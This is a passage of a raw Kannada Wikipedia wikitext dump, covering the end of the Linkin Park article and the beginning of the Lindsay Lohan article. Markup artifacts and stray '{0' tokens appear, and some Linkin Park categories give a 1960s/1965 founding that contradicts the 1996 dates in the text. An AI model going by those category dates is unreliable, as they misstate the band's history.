ಶಿನೊಡಾ ಮತ್ತು ಬೆನ್ನಿಂಗ್ಟನ್ ಜೊತೆ ಮತ್ತು ಇನ್ನೊಂದರಲ್ಲಿ ಬೆನ್ನಿಂಗ್ಟನ್ ಏಕಾಗಿಯಾಗಿ ತಲಾ ಒಂದರಂತೆ ಹಾಡುಗಳನ್ನು ರೆಕಾರ್ಡ್ <ref>http://lptimes.com/news2009/dec/news12092009.html</ref> ಮಾಡಿದ್ದಾರೆ. ಜನವರಿಯಲ್ಲಿ ಬ್ಯಾಂಡ್ ತನ್ನ ಎರಡನೆಯ ವರ್ಗದ ಶ್ರೇಣಿಯಲ್ಲಿ ಐದು ಹಾಡುಗಳನ್ನು ದಾಖಲಿಸಿತಲ್ಲದೇ ಇದರ ಮೇಲಿನ ಕಲೆ ಕೆಲಸ ಈ ಸಂದರ್ಭದಲ್ಲಿ ನಡೆಯುತ್ತಿತ್ತು. ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ಜನವರಿ 19ರಂದು " [[ನಾಟ್ ಅಲೊನ್]] "ಶೀರ್ಷಿಕೆಯ ಹೊಸ ಹಾಡನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿತು.ಇದು ಹೈಟಿಯ ಭೂಕಂಪದ ಪರಿಹಾರದ ನಿಧಿಗಾಗಿ ನಡೆಸಿದ ಸಂಗೀತ [http://www.musicforrelief.org ]. == ಸಂಗೀತದ ಶೈಲಿ == ''ಹೈಬ್ರೀಡ್ ಥೆಯರಿ'' ಮತ್ತು ''ಮಿಟೊರಾ'' ಗಳು [[ಅಲ್ಟರ್ ನೇಟಿವ್ ಮೆಟಲ್|<ref name="MacKenzie Wilson"/> ಅಲ್ಟರ್ ನೇಟಿವ್ ಮೆಟಲ್]] ನ ಒಟ್ಟು ಸಂಯೋಜನೆ,[[ನ್ಯು ಮೆಟಲ|<ref name="MusicMight"/><ref name="Popmatters">[http://www.popmatters.com/pm/review/linkinpark-hybrid Linkin Park review at Popmatters]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref><ref name="NME">[http://www.nme.com/artists/linkin-park Linkin Park at NME]</ref><ref name="Rolling Stone">{{Cite web |url=http://www.rollingstone.com/artists/linkinpark/biography |title=Linkin Park at Rolling Stone |access-date=2010-03-09 |archive-date=2007-05-28 |archive-url=https://web.archive.org/web/20070528204211/http://www.rollingstone.com/artists/linkinpark/biography |url-status=dead }}</ref><ref name="IGN">{{Cite web |url=http://uk.music.ign.com/articles/393/393909p1.html |title=Linkin Park review at IGN music |access-date=2010-03-09 |archive-date=2011-08-31 |archive-url=https://web.archive.org/web/20110831201915/http://uk.music.ign.com/articles/393/393909p1.html |url-status=dead }}</ref><ref name="IGN"/> ನ್ಯು ಮೆಟಲ]], [[ರಾಪ್ ರಾಕ]], [[ಹಿಪ್ ಹಾಪ್ಸ್]] ನಿಂದ ಧ್ವನಿ ಪ್ರಭಾವ,ಮತ್ತೆ [[ಅಲ್ಟರ್ ನೇಟಿವ ರಾಕ್]] ಮತ್ತು ಇದರೊಂದಿಗೆ [[ಎಲೆಕ್ಟ್ರೊನಿಕಾ]]ಗಳ [[ಯೋಜನೆಗಳ]]ನ್ನು ಇದೇ ವೇಳೆಗೆ [[ಸಿಂಥೆಸೈಸರ್ಸ್]] ನೊಂದಿಗೆ <ref name="IGN"/><ref name="Allmusic">[http://allmusic.com/cg/amg.dll?p=amg&amp;sql=11:jxfoxqykld6e Linkin Park at Allmusic]</ref><ref>{{cite news | first=MacKenzie | last=Wilson | coauthors= |authorlink= | title=Linkin Park Biography | date=2007 | publisher=[[Yahoo! Music]] | url =https://music.yahoo.com/ar-303254-bio--Linkin-Park | work = | pages = | accessdate = February 20, 2009 | language = }}</ref> ಒಂದುಗೂಡಿಸಲಾಯಿತು. ''[[ಅಲ್ ಮ್ಯುಸಿಕ್]]'' ನ ವಿಲಿಯಮ್ ರಹಲ್ಮ್ಯಾನ್ ಕೂಡ ಇದನ್ನು "[[Wiktionary:Johnny-come-lately|ಜಾನೀ-ಕಮ್ -ಲೇಟ್ಲಿ]] ಯಂತೆ ಆಗ ಉತ್ತಮ <ref>Ruhlmann, William. Allmusic.com [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=10:hifqxqq0ldke allmusic (((Hybrid Theory > Overview))):], Retrieved on May 30, 2007</ref> ಶೈಲಿಯಲ್ಲಿ ಸಿದ್ದಪಡಿಸಲಾಗಿತ್ತು''[[.ರೊಲಿಂಗ್ ಸ್ಟೋನ್]]'' ಅಂದರೆ "[[ಬ್ರೇಕಿಂಗ್ ದಿ ಹ್ಯಾಬಿಟ್]] "ರಿಸ್ಕಿ,ಬ್ಯುಟಿಫುಲ್ ಆರ್ಟ್ "ಇವುಗಳ ಬಗ್ಗೆ ಅತ್ಯಂತ ಜನಪ್ರಿಯ ಹಾಡಾಗಿ <ref>ರೊಲ್ಲಿಂಗ್ ಸ್ಟೋನ್ [http://www.rollingstone.com/artists/linkinpark/albums/album/265830/review/6068021/meteora Rolling Stone: Linkin Park: Meteora: Music Reviews:] {{Webarchive|url=https://web.archive.org/web/20070517085820/http://www.rollingstone.com/artists/linkinpark/albums/album/265830/review/6068021/meteora |date=2007-05-17 }}, Retrieved on May 30, 2007</ref> ಪರಿಣಮಿಸಿತ್ತು. ''ಮಿನ್ಯುಟ್ಸ್ ಟು ಮಿಡ್ ನೈಟ್'' ಮೂಲಕ ಉತ್ತಮ ಧ್ವನಿ ಮತ್ತು ಅತಿಹೆಚ್ಚು ಶ್ರೋತೃವರ್ಗವನ್ನು ಸೆಳೆಯಿತಲ್ಲದೇ ಹಲವಾರು ಶೈಲಿಯು ''[[ಲಾಸ್ ಎಂಜಿಲ್ಸ್]]'' ನ ಪ್ರಗತಿಯನ್ನು [[ತೋರ್ಪಡಿಸಿತು|<ref>Calendarlive.com, [http://www.calendarlive.com/printedition/calendar/cl-et-linkin15may15,0,2089411.story?coll=cl-calendar Linkin Park releases new album: 'Minutes to Midnight'] Retrieved on May 30, 2007</ref> ತೋರ್ಪಡಿಸಿತು]]. ಇದರಲ್ಲಿ ಎರಡು ಹಾಡುಗಳು ರಾಪಿಂಗ್ ಮತ್ತು ಹೆಚ್ಚಿನ ಅಲ್ಬಮ್ ಗಳನ್ನು [[ಅಲ್ಟರ್ ನೇಟಿವ್]] ನು ಮೆಟಲ್ ಅಥವಾ ರಾಪ್ ರಾಕ್ ಉತ್ತಮ ಹಾಡುಗಳಿಗೆ ಜನಪ್ರಿಯತೆ <ref>IGN [http://music.ign.com/articles/788/788496p1.html ಲಿಂಕಿನ್ ಪಾರ್ಕ್ -ಮಿನ್ಯುಟ್ಸ್ ಟು ಮಿಡ್ ನೈಟ್ ] {{Webarchive|url=https://web.archive.org/web/20120127044903/http://music.ign.com/articles/788/788496p1.html |date=2012-01-27 }} ಜನವರಿ 27,ರ 2008</ref><ref>ಮೆಟಾಕ್ರಿಟಿಕ್, [http://www.metacritic.com/music/artists/linkinpark/minutestomidnight?part=rss ಮಿನ್ಯುಟ್ ಟು ಮಿಡ್ ನೈಟ್]. ಜನವರಿ27,ರಲ್ಲಿ 2008.ರಲ್ಲಿ ವಾಪಸಾತಿ</ref> ದೊರಕಿತು. ಇದೇ ಅವರ ಮೊದಲ ಸ್ಟುಡಿಯೊ ಅಲ್ಬಮ್ ನಲ್ಲಿ ಗಿಟಾರ್ ಸೊಲೊವನ್ನು ಅಳವಡಿಸಲಾಯಿತು. ಇಬ್ಬರು ಪ್ರೇತ್ಯೇಕ ಸಂಗೀತಗಾರರು ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ನ ಬಹುದೊಡ್ಡ ಸಂಗೀತ ಕಚೇರಿಯ ಭಾಗವಾಗಿದ್ದಾರೆ. ಚೆಸ್ಟರ್ ಬೆನ್ನಿಂಗ್ಟನ್ ಕೀರಲು ಸಂಗೀತ ವಾದ್ಯಗಳ ಬಳಸುವ ಸಾಮಾನ್ಯ ಹಾಡುಗಾರ ವಿಭಿನ್ನ ವಿಷಯ-ವಸ್ತುಗಳನ್ನು ಬಳಸಿ ಮಾಧುರ್ಯಭರಿತ ಹಾಡುಗಳನ್ನು ತಮ್ಮ ಅಲ್ಬಮ್ ನಲ್ಲಿ ಅಳವಡಿಸಿದ್ದಾರೆ. ಮೈಕ್ ಶಿನೊಡಾ ಅತ್ಯುತ್ತಮ ಗಾಯಕ ಮತ್ತು ಬ್ಯಾಂಡ್ ನ ಉತ್ತಮ ಹಿನ್ನೆಲೆ ಗಾಯಕನಾಗಿದ್ದನಲ್ಲದೇ ಇದಕ್ಕೆ ಬೆನ್ನೆಲಬಾಗಿದ್ದಾರೆ. ''ಮಿನ್ಯುಟ್ಸ್ ಮಿಡ್ ನೈಟ್'' ನ ಅವತರಣಿಕೆಯ "ಇನ್ ಬಿಟ್ವೀನ್ ", "ಹ್ಯಾಂಡ್ಸ್ ಹೆಲ್ಡ್ ಹೈ"ಗಳನ್ನು ಬಿ ಬದಿಯಲ್ಲಿ "ನೊ ರೋಡ್ಸ್ ಲೆಫ್ಟ್ "ನಲ್ಲಿ ಬ್ಯಾಂಡ್ ನ ಹಾಡುಗಳು ಜನಪ್ರಿಯತೆ ಹೊಂದಿದವು. == ಬ್ಯಾಂಡ್ ಸದಸ್ಯರು == [[ಚಿತ್ರ:Chester Bennington (Linkin Park) @ Sonisphere 2009.jpg|thumb|right|190px|ಚೆಸ್ಟರ್ ಬೆನ್ನಿಂಗ್ಟನ್ ಪೋರಿ ಫಿನ್ ಲ್ಯಾಂಡ್ ನಲ್ಲಿನ ಪ್ರದರ್ಶನ]] {{Main|List of Linkin Park band members}} ;ಸದ್ಯದ ಸದಸ್ಯರು * {0ಚೆಸ್ಟರ್ ಬೆನ್ನಿಂಗ್ಟನ್ {/0} – [[ಗಾಯನ]], [[ರಿದಿಮ್ ಗಿಟಾರ್]] ( 1999 ರಿಂದ) * ರಾಬ್ ಬೌರ್ಡನ – [[ಡ್ರಮ್ಸ್]], [[ತಾಳವಾದ್ಯ]], ಹಿನ್ನಲೆ ಗಾಯನ (1996 ರಿಂದ) * [[ಬ್ರಾಡ್ ಡೆಲ್ಸನ್]] – {0ಪ್ರಧಾನ ಗಿಟಾರುವಾದಕ {/0}, [[ಹಿನ್ನಲೆ ಗಾಯಕ]] (1996 ರಿಂದ) * ಡೇವಿಡ್ "ಫೀನಿಕ್ಸ್ "ಫಾರೆಲ್ – [[ಬಾಸ್ ಗಿಟಾರ್]] , ಹಿನ್ನಲೆ ಗಾಯನ (1996–1998, 1999, ಮತ್ತು 2001ರವರೆಗೆ) * [[ಮಿ.ಹಾನ್]] – [[ಟರ್ನ್ ಟೇಬಲ್ಸ್]], [[ಯೋಜನೆ ನಿರ್ಮಾಣ]] , ಸಾಮಾನ್ಯ ಮಾದರಿ, ಹಿನ್ನಲೆ (1996ರಿಂದ ) * {0ಮೈಕ್ ಶಿನೊಡಾ {/0} – ಗಾಯನ, ಗಿಟಾರ್, [[ಸ್ಯಾಂಪಲ್]] ಗಳು, [[ಕೀ ಬೋರ್ಡ್]]ಗಳು (1996 ರಿಂದ) ; ಹಿಂದಿನ ಸದಸ್ಯರು * ಮಾರ್ಕ್ ವೇಕ್ ಫೀಲ್ಡ್ಸ್ - ಪ್ರಧಾನ ಗಾಯಕ (1996-1998) == ಧ್ವನಿಮುದ್ರಿಕೆ ಪಟ್ಟಿ == {{main|Linkin Park discography}} * ''[[ಹೈಬ್ರೀಡ್ ಥೆಯರಿ]] '' (2000) * ''[[ಮಿಟೊರಾ]] '' (2003) * ''[[ಮಿನ್ಯುಟ ಟು ಮಿಡ್ ನೈಟ್]] '' (2007) == ಇವನ್ನೂ ಗಮನಿಸಿ == * [[ಅತಿ ಹೆಚ್ಚು ಬೇಡಿಕೆಯಲ್ಲಿರುವ ಸಂಗೀತ ಕಲಾವಿದರ ಪಟ್ಟಿ.]] * [[ವಿಶ್ವದಾದ್ಯಂತ ಅತಿಹೆಚ್ಚು ಮಾರಾಟವಾದಂತಹ ಆಲ್ಬಮ್ ಗಳ ಪಟ್ಟಿ.]] == ಆಕರಗಳು == {{Reflist|2}} == ಹೆಚ್ಚಿನ ಓದಿಗೆ == <div class="references-small"> * Saulmon, Greg.ಸಾಲೊಮನ್ ಗ್ರೇಗ್ ''ಲಿಂಕಿನ್ ಪಾರ್ಕ್ '' ''ಸಮಕಾಲೀನ ಸಂಗೀತಗಾರರು ಮತ್ತು ಅವರ ಸಂಗೀತ'' 2007.ನ್ಯುಯಾರ್ಕ್ :ರೊಸನ್ ಪಬ್, ಸಮೂಹ ISBN 0-7910-6772-6 * ಬಾಲ್ಟಿನ್, ಸ್ಟೀವ್. ''ಫ್ರಾಮ್ ದಿ ಇನ್ ಸೈಡ್: ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ನ ಮಿಟೊರಾ '' . ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ: ಬ್ರಾಡ್ಸನ್ ಪ್ರೆಸ್, 2004. ISBN 0-7910-6772-6 </div> == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{Commonscat|Linkin Park}} * [http://linkinpark.com ಅಧಿಕೃತ ಜಾಲತಾಣ] [[ವರ್ಗ:1960ರ ಸಂಗೀತ ಸಮೂಹಗಳು]] [[ವರ್ಗ:ಗ್ರ್ಯಾಮ್ಮಿ ಅವಾರ್ಡ್‌ ವಿಜೇತರು]] [[ವರ್ಗ:ಅಮೆರಿಕನ್ ಅಲ್ಟರ ನೇಟಿವ್ ಮೆಟಲ್ ಮ್ಯುಸಿಕ್ ಗ್ರುಪ್]] [[ವರ್ಗ:American nu metal musical ಗ್ರೌಪ್ಸ್]] [[ವರ್ಗ:Musical groups from Los Angeles, California]] [[ವರ್ಗ:Musical sextets]] [[ವರ್ಗ:Rap rock groups]] [[ವರ್ಗ:Linkin Park]] [[ವರ್ಗ:1965ರಲ್ಲಿ ಸ್ಥಾಪನೆಯಾದ ಸಂಗೀತ ಸಮೂಹಗಳು]] [[ವರ್ಗ:American alternative rock groups]] [[ವರ್ಗ:MTV ಯುರೋಪ್ ಸಂಗೀತ ಪ್ರಶಸ್ತಿ ವಿಜೇತರರು.]] [[ವರ್ಗ:ವಿಶ್ವ ಸಂಗೀತ ಪ್ರಶಸ್ತಿ ವಿಜೇತರು.]] [[ವರ್ಗ:Kerrang! ಪ್ರಶಸ್ತಿ ವಿಜೇತರು]] [[ವರ್ಗ:ರಾಕ್ ಶೈಲಿಯ ಸಂಗೀತಗಾರರು]] gv67dba1h8j36paqv1w9yjn8zhx7nhc ಲಿಂಡ್ಸೇ ಡೀ ಲೋಹಾನ್ 0 22772 1116438 1080618 2022-08-23T12:34:14Z InternetArchiveBot 69876 Rescuing 6 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox musical artist |Name = Lindsay Lohan |Background = solo_singer |Img =Lindsay_Lohan.jpg |Img_capt = Lohan at the [[Calvin Klein]] Spring 2007 Fashion Show Afterparty |Birth_name = Lindsay Dee Lohan |Born = {{birth date and age|1986|7|2}}<ref name="cnntranscript20080727">{{cite episode |title=Profiles of Tom Cruise, Lindsay Lohan, Michael Caine |series=CNN People in the News |serieslink=People in the News |network=CNN |airdate=July 2, 2005 |transcripturl=http://transcripts.cnn.com/TRANSCRIPTS/0507/02/pitn.01.html }} "[[Kyra Phillips|<nowiki>[KYRA]</nowiki> PHILLIPS]]: Lindsay Morgan{{Sic}} Lohan's life began on July 2nd, 1986. Though she was born in New York City, she was raised in the upper middle class Long Island town of Cold Spring Harbor."</ref><br />[[ನ್ಯೂ ಯಾರ್ಕ್ ನಗರ]], [[New York]], <br />[[United States]] |Genre = [[Pop rock]] |Occupation = [[actor|Actress]], [[singer]], [[fashion design]]er, [[model (person)|model]] |Years_active = 1996–present |Label = [[Casablanca Records|Casablanca]], [[Universal Motown]] |URL = [http://www.myspace.com/lindsaylohan Lindsay Lohan] on [[MySpace]]&nbsp;Music }} '''ಲಿಂಡ್ಸೇ ಡೀ ಲೋಹಾನ್''' ({{pronEng|ˈlɪnzi ˈloʊən}};<ref>{{cite web |url=http://inogolo.com/pronunciation/d1070/Lindsay_Lohan |title=Pronunciation of Lindsay Lohan |publisher=inogolo |accessdate=October 3, 2009 }}</ref> ಜುಲೈ 2, 1986 ರಲ್ಲಿ ಜನಿಸಿದ)<ref name="cnntranscript20080727" /> ಅಮೇರಿಕದ ,[[ನಟಿ]], [[ರೂಪಸುಂದರಿ]], ಮತ್ತು [[ಪಾಪ್]] [[ಗಾಯಕಿ]]. ಲೋಹನ್ ತನ್ನ ಪ್ರದರ್ಶನ ವ್ಯಾಪಾರವನ್ನು [[ಮಕ್ಕಳ ಫ್ಯಾಶನ್ ಮಾಡಲ್]] ಆಗಿ ಚಿಕ್ಕ ವಯಸ್ಸಿನಿಂದಲೇ ಪ್ರಾರಂಭಿಸಿದರು. ತನ್ನ 11 ನೆಯ ವಯಸ್ಸಿನಲ್ಲಿ ಈ ಹುಡುಗಿ ''[[ದಿ ಪೇರೆಂಟ್ ಟ್ರ್ಯಾಪ್]] '' ಚಿತ್ರದ [[ಡಿಸ್ನೇಯ]] 1998 ರ ಪುನರ್ನಿರ್ಮಾಣದ ಚಿತ್ರದಲ್ಲಿ ಮೊಟ್ಟಮೊದಲ ಬಾರಿಗೆ ಕಾಣಿಸಿಕೊಂಡಳು. ಲೋಹನ್ 2003 ಮತ್ತು 2005ರ ಮಧ್ಯೆ ಚಿತ್ರ ತಾರೆಯ ಶ್ರೇಣಿಗೆ ಏರಿದಳು. ''[[ಫ್ರೀಕೀ ಫ್ರೈಡೇ]]'' , ''[[ಮೀನ್ ಗರ್ಲ್ಸ್]]'' ಮತ್ತು''[[Herbie: Fully Loaded]].'' ಈ ಚಿತ್ರಗಳಲ್ಲಿ ಪ್ರಮುಖ ಪಾತ್ರಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಳು. ಆನಂತರ ಸ್ವತಂತ್ರವಾಗಿ ನಿರ್ಮಿಸಲಾದ [[ರಾಬರ್ಟ್ ಆಲ್ಟ್‌ಮನ್ಸ್]] ಅವರ ''[[ಎಪ್ರೈರೀ ಹೋಮ್ ಕಂಪ್ಯಾನಿಯನ್]] '' ಮತ್ತು ''[[ಬಾಬಿ]]'' ಚಿತ್ರಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಳು. ಆಕೆಯ ಉದ್ಯೋಗದಲ್ಲಿ 2007 ರಲ್ಲಿ ಸ್ವಲ್ಪ ಮಟ್ಟಿಗೆ ಕುಂಠಿತವಾಯಿತು, ಕಾರಣ ಎರಡು [[ಡಿಯುಐ]] ಘಟನೆಗಳು ಹಾಗೂ [[ಪುನಶ್ಚೇತನ]] ಸೌಕರ್ಯಗಳಿಗೆ ನೀಡಿದ ಮೂರು ಭೇಟಿಗಳು ಚಲನಚಿತ್ರಗಳ ವ್ಯವಹಾರದಲ್ಲಿ ಅಡ್ಡಿಯಾದವು. ದೂರದರ್ಶನ ಧಾರಾವಾಹಿಗಳಲ್ಲಿ ಅತಿಥಿ ತಾರೆಯಾಗಿ ಕಾಣಿಸಿಕೊಂಡಿರುವುದು ಸಹ ಒಂದು ವಿಶೇಷ, ಅದು 2008 ರಲ್ಲಿ ''[[ಅಗ್ಲಿ ಬೆಟ್ಟಿ]]'' ಎಂಬ ಧಾರಾವಾಹಿ ಮತ್ತು 2009 ರಲ್ಲಿ [[ರಾಬರ್ಟ್ ರೋಡ್ರಿಗ್ಸ್]]ಅವರ ''[[ಮಚೆಟೆ]]'' . ಲೋಹನ್ ತನ್ನ ಎರಡನೆಯ ಉದ್ಯೋಗವಾದ ಪಾಪ್ ಸಂಗೀತವನ್ನು 2004 ರಲ್ಲಿ ಪ್ರಾರಂಭಿಸಿದರು. ಇದು ಆಲ್ಬಮ್ ''[[ಸ್ಪೀಕ್]]'' ನಿಂದ ಪ್ರಾರಂಭವಾಯಿತು, ಇದರ ನಂತರ 2005 ರಲ್ಲಿ ''[[ಲಿಟ್ಲ್ ಮೋರ್ ಪರ್ಸೊನಲ್ (ಆರ್‌ಎಡಬ್ಲ್ಯೂ)]]'' ಎಂಬುದು. ಈಕೆ [[ಪಾಪಾರಜ್ಜಿ]] ಛಾಯಾಗ್ರಾಹಕರಿಗೆ ಅಚ್ಚುಮೆಚ್ಚಿನ ಗಾಯಕಿಯಾದುದಲ್ಲದೆ ಆಕೆಯ ವೈಯಕ್ತಿಕ ಜೀವನ ಕೀರ್ತಿ ತಂದುದಲ್ಲದೆ ಸಣ್ಣ ಸುದ್ದಿ ಪತ್ರಿಕೆಗಳಿಗೆ ಉತ್ತಮ ಗ್ರಾಸವನ್ನು ನೀಡಿದವು. == ಬಣ್ಣದ ಬದುಕು == === ಪ್ರಾರಂಭಿಕ ಯಶಸ್ಸು === ಲೋಹಾನ್ ತಮ್ಮ ವೃತ್ತಿ ಜೀವನವನ್ನು ಮೂರನೆಯ ವಯಸ್ಸಿನಲ್ಲಿ [[ಫೋರ್ಡ್ ಮಾಡಲ್ಸ್]] ಅವರೊಂದಿಗೆ ಒಬ್ಬ [[ಬಾಲಿಕಾ ರೂಪದರ್ಶಿ]]ಯಾಗಿ ನಟಿಸಲು ಕರಾರು ಮಾಡಿಕೊಂಡರು.<ref name="peoplebio">{{cite web |url=http://www.people.com/people/lindsay_lohan/biography |title=Lindsay Lohan Biography: People.com |publisher=''[[People (magazine)|People]]'' |archiveurl=https://www.webcitation.org/5nC91TWGp?url=http://www.people.com/people/lindsay_lohan/biography |archivedate=ಜನವರಿ 31, 2010 |accessdate=January 31, 2010 |url-status=live }}</ref><ref name="rsbio">{{cite web |url=http://www.rollingstone.com/artists/lindsaylohan/biography |title=Lindsay Lohan: Biography: Rolling Stone |publisher=''[[Rolling Stone]]'' |archiveurl=https://www.webcitation.org/5nC9NQfBv?url=http://www.rollingstone.com/artists/lindsaylohan/biography |archivedate=ಜನವರಿ 31, 2010 |accessdate=January 31, 2010 |url-status=live }}</ref> ಆಕೆ [[ಕಾಲ್ವಿನ್ ಕ್ಲೀನ್]] ಮತ್ತು [[ಅಬರ್ ಕ್ರಾಂಬಿ ಕಿಡ್ಸ್]] ಅವರಿಗಾಗಿ 60 ಕ್ಕೂ ಹೆಚ್ಚಿನ ದೂರದರ್ಶನ ವಾಣಿಜ್ಯ ಪ್ರದರ್ಶನಗಳಲ್ಲಿ ಫ್ಯಾಶನ್ ರೂಪದರ್ಶಿಯಾಗಿ ಕಾಣಿಸಿಕೊಂಡರು. ಅವರು ಕೆಲಸ ನಿರ್ವಹಿಸಿದ ವಾಣಿಜ್ಯ ಕಂಪನಿಗಳೆಂದರೆ [[ಪಿಜ್ಜಾ ಹಟ್]], [[ವೆಂಡೀಸ್]] ಹಾಗೂ [[ಬಿಲ್ ಕೋಸ್‌ಬಿ]] ಅಲ್ಲದೆ [[ಜೆಲ್ - ಓ]] ಸ್ಪಾಟ್.<ref name="peoplebio" /><ref name="rsbio" /> ಆಕೆಗೆ 10 ವರ್ಷ ವಯಸ್ಸಾಗುವ ವೇಳೆಗೆ ''[[ಅನದರ್‌ ವರ್ಲ್ಡ್]]'' [[ಸೋಪ್ ಅಪೇರಾ]]ದಲ್ಲಿ ಅಲೆಗ್ಸಾಂಡ್ರಾ "ಅಲ್ಲಿ " ಫೌಲರ್ ಪಾತ್ರ ದೊರೆಯಿತು. ಇದನ್ನು ಕುರಿತು ''[[ಸೋಪ್ ಅಪೆರಾ ಪತ್ರಿಕೆ]]'' ಬರೆಯುತ್ತಾ ಆಕೆಯನ್ನು ಒಬ್ಬ ಪ್ರಖ್ಯಾತ ಪ್ರದರ್ಶನ ಕಲಾವಿದೆಯೆಂದು ಹೊಗಳಿತು.<ref name="peoplebio" /><ref name="rsbio" /><ref name="soapmag">{{cite journal |author=Anne Marie Allocca |title=Mother/Daughter Act |journal=Soap Opera Magazine |month=January |year=1997 }}</ref> ಈ ಪಾತ್ರದಲ್ಲಿ ಒಂದು ವರ್ಷದವರೆಗೆ ನಟಿಸಿದ ಅವರು 1998 ರಲ್ಲಿ [[ಡಿಸ್ನೀ]]ಯವರ ಕೌಟುಂಬಿಕ ಕಾಮಿಡಿಯಲ್ಲಿ ಪಾತ್ರವಹಿಸುವ ಸಲುವಾಗಿ ಅದನ್ನು ತ್ಯಜಿಸಿದರು. ಈಗಾಗಲೇ ನಿರ್ಮಾಣವಾಗಿದ್ದ ''[[ದಿ ಪೇರೆಂಟ್ ಟ್ರ್ಯಾಪ್]]'' ಎಂಬ ಈ [[ಚಲನಚಿತ್ರ 1961]] ರಲ್ಲಿ ಪುನರ್ ನಿರ್ಮಾಣವಾಗಿತ್ತು. ಲೋಹನ್ ಅಗಲಿದ ಸಹೋದರಿಯರ ದ್ವಿಪಾತ್ರಗಳನ್ನು ಇದರಲ್ಲಿ ನಟಿಸಲು ಅವಕಾಶವಾಯಿತು. ಈ ಇಬ್ಬರು ಸಹೋದರಿಯರು ಅವರ ವಿವಾಹ ವಿಚ್ಛೇದನಗೊಂಡ ತಂದೆ ತಾಯಂದಿರನ್ನು ಒಗ್ಗೂಡಿಸಲು ವಿಶೇಷ ಪ್ರಯತ್ನ ಮಾಡುವಂತಹ ಪಾತ್ರಗಳಾಗಿದ್ದವು. ಈ ಪಾತ್ರಗಳನ್ನು [[ಡೆನ್ನಿಸ್ ಕ್ವೆಯಿದ್]] ಮತ್ತು [[ನತಾಶ ರಿಚರ್ಡ್‌ಸನ್]] ಅವರು ಮಾಡಿದ್ದರು.<ref name="peoplebio" /><ref name="wills">{{cite web |publisher=[[TalkTalk]] |title=Lindsay Lohan Biography |author=Dominic Wills |url=http://www.talktalk.co.uk/entertainment/film/biography/artist/lindsay-lohan/biography/153 |accessdate=February 1, 2010 }}</ref> ಈ ಚಿತ್ರ, ''ಟ್ರ್ಯಾಪ್'' 92 ಮಿಲಿಯನ್ [[ಯುಎಸ್ ಡಾಲರ್‌]]ಗಳನ್ನು ಚಿತ್ರದ ನಿರ್ಮಾಪಕರಿಗೆ ಸಂಪಾದನೆ ಮಾಡಿಕೊಟ್ಟಿತ್ತು. ಚಿತ್ರ ವಿಮರ್ಶಕ [[ಕೆನ್ನೆತ್ ಟೂರನ್]] ಲೋಹಾನ್ ಅವರ ಪಾತ್ರವನ್ನು ಬಹುವಾಗಿ ಮೆಚ್ಚಿ, ಆಕೆ ಈ ಚಿತ್ರದ "ಹೃದಯ ಭಾಗವೆಂದೂ ಮೂಲಕೃತಿಯಲ್ಲಿಯ [[ಹೈಲೇ ಮಿಲ್ಸ್]] ನಷ್ಟೇ ಪ್ರಾಮುಖ್ಯತೆಯನ್ನು ನೀಡಿದ್ದಾರಲ್ಲದೆ ತನ್ನ ಹಿಂದಿನವರಿಂದಲೂ ವಿಶಿಷ್ಟವಾದ ಎರಡು ಪಾತ್ರಗಳನ್ನು ನಿರ್ವಹಿಸುವಲ್ಲಿ ಆಕೆಯ ಪಾತ್ರ ಬಹಳ ಪ್ರಮುಖವಾಗಿದೆಯೆಂದು ಕೊಂಡಾಡಿದ್ದಾರೆ".<ref name="tptbox">{{cite web |title=The Parent Trap (1998) |url=http://www.boxofficemojo.com/movies/?id=parenttrap98.htm |work=Box Office Mojo |publisher=[[Internet Movie Database|IMDb.com]] |accessdate=October 3, 2009 }}</ref><ref name="turan">{{cite web |publisher=calendarlive.com |title=Kenneth Turan:'' The Parent Trap |url=http://www.calendarlive.com/movies/reviews/cl-movie980728-1,0,7316867.story |accessdate=July 29, 1998 }}</ref> ಈ ವಿಶಿಷ್ಟವಾದ ಚಿತ್ರವು ಲೋಹಾನ್ ಅವರಿಗೆ ಮಕ್ಕಳಿಗಾಗಿ ನೀಡಲಾಗುವ [[ಯಂಗ್ ಆರ್ಟಿಸ್ಟ್ ಬಹುಮಾನ]]ಗಳನ್ನು ಗಳಿಸಿಕೊಟ್ಟಿತು.<ref>{{cite web |url=http://www.youngartistawards.org/pastnoms20.htm |title=20th Annual Awards |publisher=The Young Artist Foundation |accessdate=October 18, 2009 }}</ref> ಕಿರುಧಾರಾವಾಹಿ ''[[ಬೆಟ್ಟೆ]]'' (2000) ಚಿತ್ರದಲ್ಲಿ ಲೋಹಾನ್ [[ಬೆಟ್ಟಿ ಮಿಡ್ಲರ್‌]]ನ ಮಗಳ ಪಾತ್ರವನ್ನು [[ಪೈಲಾಟ್]] ಭಾಗದಲ್ಲಿ ನಿರ್ವಹಿಸಿದ್ದಾರೆ. ಆ ಸಮಯದಲ್ಲಿ 14 ವರ್ಷದ ಬಾಲಕಿಯಾಗಿದ್ದು ಆ ಚಿತ್ರದ ನಿರ್ಮಾಣದ ಸ್ಥಳ ನ್ಯೂಯಾರ್ಕ್ ನಿಂದ ಲಾಸ್ ಏಂಜಲೀಸ್‌ಗೆ ಬದಲಾವಣೆಯಾದಾಗ ಅದನ್ನು ಬಿಡಬೇಕಾಯಿತು.<ref name="wills" /><ref name="biochannel">{{cite web |url=http://www.thebiographychannel.co.uk/biographies/lindsay-lohan.html |title=Lindsay Lohan Biography |publisher=[[The Biography Channel]] |author=Sarah Barnard |accessdate=August 20, 2009 }}</ref> ಎರಡು ಡಿಸ್ನೇ [[ದೂರದರ್ಶನ ಚಿತ್ರ]]ಗಳಲ್ಲಿ ಅವರು ನಟಿಸಿದರು. ಆ ಚಿತ್ರಗಳು ಎಂದರೆ [[ಟೈರಾ ಬ್ಯಾಕ್ಸ್]] (2000) ''[[ಲೈಫ್‌ಸೈಜ್]] '' ಮತ್ತು 2002 ರಲ್ಲಿ ''[[ಗೆಟ್‌‌ ಎ ಕ್ಯ್ಲೂ]]'' .<ref name="peoplebio" /><ref 